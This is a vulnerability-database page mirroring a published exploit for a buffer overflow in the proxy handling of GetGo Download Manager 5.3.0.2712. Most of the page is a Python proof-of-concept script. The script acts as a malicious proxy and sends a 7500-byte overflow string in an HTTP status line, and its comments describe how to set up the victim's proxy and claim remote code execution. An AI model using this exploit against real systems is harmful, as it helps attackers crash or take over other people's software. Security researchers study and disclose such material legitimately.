Lucene search
K

GetGo Download Manager 5.3.0.2712 Proxy Buffer Overflow

🗓️ 06 Jan 2018 00:00:00Reported by devcoinfetType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Buffer overflow in GetGo Download Manager 5.3.0.2712 Proxy Option

Code
`# Exploit Title: Buffer overflow vulnerability in GetGo Download Manager proxy options 5.3.0.2712  
# Date: 01-02-2018  
# Tested on Windows 8 64 bits   
# Exploit Author: devcoinfet  
# Contact: https://twitter.com/wabefet  
# Software Link: http://www.getgosoft.com/getgodm/   
# Category: webapps  
# Attack Type: Remote  
# Impact: Code Execution   
  
#to be vulnerable victim must have a proxy selected that will maliciously return data in response  
#select proxy ip of host running this script incase You have vm running the software  
#set port of proxy on getgo under proxy settings as well now when you download any page  
#or any file the program incorrectly parses the response and passes request to malicious host triggering overlfow  
  
default_evilbuffer = "A" * 7500  
  
def main():  
ip = "10.10.10.6"  
port = 8055  
fuzz_test(ip,default_evilbuffer,port)  
  
def fuzz_test(ip,payload,port):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind((ip, port))  
s.listen(1)  
print "\n[+] Listening on %d ..." % port  
  
cl, addr = s.accept()  
print "[+] Connection accepted from %s" % addr[0]  
print "[+] Pushing fuzz test to %s" % addr[0]  
  
buffer = "HTTP/1.1 200 " + payload + "\r\n"  
  
print cl.recv(1000)  
cl.send(buffer)  
print "[+] Sending Fuzzed buffer From Mailicious Proxy: OK\n"  
print "[+] Payload type Default Buffer of 7500 A's"  
  
sleep(3)  
cl.close()  
s.close()  
  
if __name__ == '__main__':  
import socket  
from time import sleep  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation